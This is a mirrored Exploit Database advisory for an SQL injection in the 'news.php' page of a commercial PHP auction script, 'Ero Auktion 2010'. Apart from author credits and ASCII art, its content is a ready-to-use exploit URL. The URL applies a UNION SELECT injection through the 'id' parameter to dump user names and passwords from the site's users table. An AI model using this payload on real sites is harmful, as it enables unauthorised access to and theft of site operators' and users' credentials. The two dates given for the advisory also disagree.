Ero Auktion 2010 – ‘news.php’ SQL Injection

• Exploit Database
• 9 阅读

• 作者： Easy Laster
  日期： 2010-02-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11522/

• ----------------------------Information----------------------------------------
  +Autor : Easy Laster
  +Date : 21.10.2010
  +Script: Ero Auktion 2010 SQL Injection news.php
  +Download : -----
  +Price : 39,90€
  +Language :PHP
  +Discovered by Easy Laster
  +Security Group 4004-Security-Project
  +Greetz to Team-Internet ,Underground Agents
  +And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
  Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
  N00bor.
  --------------------------------------------------------------------------------
   ___ ___ ___ ___ _ _ _ _
  | | | | | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___|_|___ ___| |_
  |_| | | | |_|___|_ -| -_|_|_| |_| | |___| . |_| . | | | -_|_|_|
  |_|___|___| |_| |___|___|___|_| |_|_| |_| |_|_| |___|_| |___|___|_|
  |___| |_| |___|
  --------------------------------------------------------------------------------
  +Vulnerability : www.Site.com/news.php?id=[SQL]
  +Exploitable : www.Site.com/flashauktion2010/news.php?id=11111111+union+select
  +1,2,concat%28name,0x3a,password%29,4,5+from+users#
  --------------------------------------------------------------------------------